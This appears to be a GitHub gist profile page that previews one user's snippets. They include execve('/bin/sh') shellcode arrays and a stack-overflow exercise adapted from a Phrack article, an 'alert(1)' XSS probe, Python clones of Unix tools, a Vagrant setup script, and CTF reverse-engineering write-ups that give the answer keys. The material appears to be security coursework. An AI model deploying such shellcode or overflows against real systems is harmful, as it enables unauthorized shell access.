Skip to content

Instantly share code, notes, and snippets.

View giuscri's full-sized avatar

Giuseppe Crinò giuscri

View GitHub Profile
int
main () {
__asm__("l:\n\t"
"jmp ll\n\t"
"lll:\n\t"
"popl %esi\n\t"
"movb $0x0, 0x7(%esi)\n\t"
"movl %esi, 0x8(%esi)\n\t"
"movl $0x0, 0xc(%esi)\n\t"
"movl $0x0, %edx\n\t"
// You need to compile this passing `execstack`
// to the linker. Via cc, `-z execstack`
// Code "inspired" by http://phrack.org/issues/49/14.html
int
main () {
char shellcode[] =
"\xeb\x2d\x5e\xc6\x46\x07"
"\x00\x89\x76\x08\xc7\x46"
"\x0c\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x8d\x4e"
// "Modernize" code @ http://phrack.org/issues/49/14.html
// $ cc -m32 -g -O0 overflow1.c -o overflow1 -z execstack
#include <string.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
@giuscri
giuscri / cat.py
Last active October 10, 2015 14:07
#!/usr/bin/python3
import sys
def _help():
res = """Usage: cat [OPTION]... [FILE]...
Concatenate FILE(s) to standard output.
-E, --show-ends display $ at end of each line
-n, --number number all output lines
#!/usr/bin/python3
import sys
def _help():
res = """Usage:
more [options] <file>...
A file perusal filter for CRT viewing.
import sys
import os
import stat
import re
def _help():
return """
Usage: chmod [OPTION]... MODE[,MODE]... FILE...
or: chmod [OPTION]... OCTAL-MODE FILE...
Change the mode of each FILE to MODE.
alert(1)
#!/usr/bin/env bash
aptitude update
aptitude -y upgrade
aptitude -y install vim build-essential python-dev python-pip git
aptitude -y install gdb
sudo su - vagrant # <<< This is not working. Pretty useless by now.
mkdir -p /home/vagrant/.vim/autoload /home/vagrant/.vim/bundle && \
curl -LSso /home/vagrant/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
# rev1, Giuseppe Crino', 18 Novembre 2015
## Chiave
La chiave e' `linustorvalds`, infatti
$ echo "linustorvalds"|./rev1
* password:
Hai vinto!
## Come e' stata individuata
# rev2, Giuseppe Crino', 18 Novembre 2015
## Chiave
La chiave e' `richardstallman`. Infatti
$ echo "richardstallman"|./rev2
* password:
Hai vinto!
## Come e' stata individuata